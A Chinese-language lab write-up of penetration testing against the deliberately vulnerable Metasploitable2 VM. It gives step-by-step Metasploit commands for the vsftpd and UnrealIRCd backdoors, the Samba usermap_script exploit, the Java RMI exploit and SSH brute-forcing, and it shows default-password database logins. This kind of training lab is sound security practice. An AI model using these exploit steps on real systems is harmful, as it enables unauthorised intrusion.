Metasploitable2靶机渗透
- 实验环境:KALI Metasploitable2
Metasploitable2介绍
Metasploitable2 虚拟系统是一个特别制作的ubuntu操作系统,本身设计作为安全工具测试和演示常见漏洞攻击。版本2已经可以下载,并且比上一个版本包含更多可利用的安全漏洞。这个版本的虚拟系统兼容VMware,VirtualBox,和其他虚拟平台。默认只开启一个网络适配器并且开启NAT和Host-only,本镜像一定不要暴漏在一个易受攻击的网络中。
进行此次靶机练习的原因
其中存在的的诸多漏洞中,年代也是比较久远的,尽行这个实验的目的就是通过自己搭建的靶机环境熟练渗透测试的方法和流程,巩固自己的渗透思路。因此,在这次实验中会针对一个问题进行多工具多手段的操作,这并不是画蛇添足,因为每个工具每种方法都有它的长处与弊端,不要过于依赖某个工具,这会使你在今后真正的渗透测试中更加的自信。
环境的配置
攻击机: kali linux ip:192.168.60.101 (ip经过处理)
靶机 :Metasploitable2 靶机ip:192.168.60.101 (ip经过处理)
下载地址:https://sourceforge.net/projects/metasploitable/
下载后如果是一个没有后缀的文件记得要修改后缀为.zip,然后解压,用虚拟机打开就可以直接使用。
账号/密码:msfadmin/msfadmin
- 至此,环境搭建完成,可以正式进行本次渗透测试的实验。
开始实验
主动信息收集
使用nmap进行信息收集
作为攻击者,在渗透测试前要做的第一件事常常是使用nmap进行网络端口以及服务的扫描。同样黑客们也常常利用这些端口作为一个远程的接入点实施攻击。
通过使用nmap扫描,我们获得的很多的信息:
查询存活主机找到目标主机:
──(root💀kk)-[~]
└─# nmap 192.168.60.0/24
- 发现目标主机后,又得到很多的有用的信息,如开放的端口和协议,还有所对应的服务
使用Masscan扫描(最快的端口扫描器)
在进行主动扫描的时候,有很多的工具可以使用。长期以来,渗透测试人员以及黑客们都习惯使用nmap进行扫描,获取IP地址和端口号。但是这个情况正在发生改变。大范围的网络IP段扫描用时较长,在这种情况下,我们就使用Masscan
──(root💀kk)-[~]
└─# apt-get install git gcc make libpcap-dev
──(root💀kk)-[~]
└─#
- 使用Masscan扫描端口:
- 咱们逐条来打一下这些搜到的漏洞:
- 1.Vsftpd源码包含后门漏洞
**思路:**开放着21端口,并且vsftpd版本号为2.3.4
原理: 在特定版本的vsftpd服务器程序中,被人恶意植入代码,当用户名以“: )”结尾时,服务器就会在6200端口监听,并且能够执行任意代码
影响软件:
Vsftpd server v2.3.4
漏洞利用
1.启动Metsploit
2.搜索关于Vsftpd的了漏洞代码库 search vsftpd
3.使用代码 use exploit/unix/ftp/vsftpd_234_backdoor
4.查看需要设置的参数 show options
5.设置个目标IP即可, set RHOST 192.168.111.130
6.执行攻击exploit
- 拿下shell:
- 2.SSH远程连接漏洞:
漏洞利用:
1.启动Metsploit
2.在终端中输入命令“search ssh_login”,搜索ssh_login的相关工具和攻击载荷。
3.在终端中输入命令“use auxiliary/scanner/ssh/ssh_login”,启用漏洞利用模块, 提示符就会提示进入到该路径下。
- 在终端中输入命令“show options”,查看需要设置的相关项,“yes”表示必须填写的参数。
5.在终端中输入命令“set RHOST 192.168.60.101”,设置目标主机的IP地址。
6.在终端中输入“set USERNAME root”,指定登陆用户名root。 - 在终端中输入“set PASS_FILE /home/passwd.txt”,设置暴力破解的密码文件路径。
8.在终端中输入“set THREADS 50”,设置暴力破解的线程数为50。
9.在终端中输入“run”, 开始向目标主机爆破ssh的登陆帐号和密码,登陆帐号为root,密码为root。
10.在终端中输入“ssh root@192.168.60.101”,连接目标主机。
- ssh拿下:
- 3.Samba漏洞:
漏洞利用:
1.启动Metasploit
2.搜索有关samba漏洞的代码库 search samba
3.使用usermap_script代码 use exploit/multi/samba/usermap_script
4.查看攻击载荷 show payloads
并选择bind_netcat即使用netcat工具在渗透攻击成功后执行shell并通过netcat绑定在一个监听端口上
5.查看参数配置 show options
6.设置目标ip、port等参数 set RHOST 192.168.60.101
7.执行exploit/run获得shell
- 拿到了shell:
- 4.Java RMI SERVER命令执行漏洞
思路: 开放了1099端口
影响系统/软件:
Oracle java RMI Server
漏洞利用:
1.启动metasploit
2.在终端中输入命令“search java_rmi_server”,搜索RMI的相关工具和攻击载荷。
3.在终端中输入命令“use exploit/multi/misc/java_rmi_server”,启用漏洞利用模块, 提示符就会提示进入到该路径下。
4.在终端中输入命令“show options”,查看需要设置的相关项,“yes”表示必须填写的参数。
5.在终端中输入命令“set RHOST 192.168.60.101”,设置目标主机的IP地址。
6.在终端中输入“exploit”, 实施攻击,攻击成功后,建立连接会话。
- 5.nfs共享漏洞:
- 6.SSH弱口令用户名和密码相同
- 7.PostgreSQL弱密码登陆
在kali中输入psql -h 192.168.60.101 -U postgres
输入密码:postgres
(思路:开放着5432端口)
- 8.UnreallRCd后门漏洞
原理: 在2009年11月到2010年6月间分布于某些镜面站点的UnreallRCd,在DEBUG3_DOLOG_SYSTEM宏中包含外部引入的恶意代码,远程攻击者能够执行任意代码。
影响系统/软件:
Unreal UnreallRCd3.2.8.1
漏洞利用
1.在终端中输入命令“search unreal ircd”,搜索ircd的相关工具和攻击载荷。
2.在终端中输入命令“use exploit/unix/irc/unre ircd 3281backdoor”,启用漏洞利用模块。
3.可以发现漏洞版本和荷载命名是对应的,漏洞版本是3.2.8.1,在Metasploit里有这个攻击荷载,所以直接使用,在终端中输入命令“show options",查看需要设置的相关项,“yes” 表示必须填写的参数。
4.接下来在终端中输入命令“set RHOST 【靶机ip】”,设置目标主机的IP地址
5.执行攻击exploit
- 可以变成更为直观的页面管理: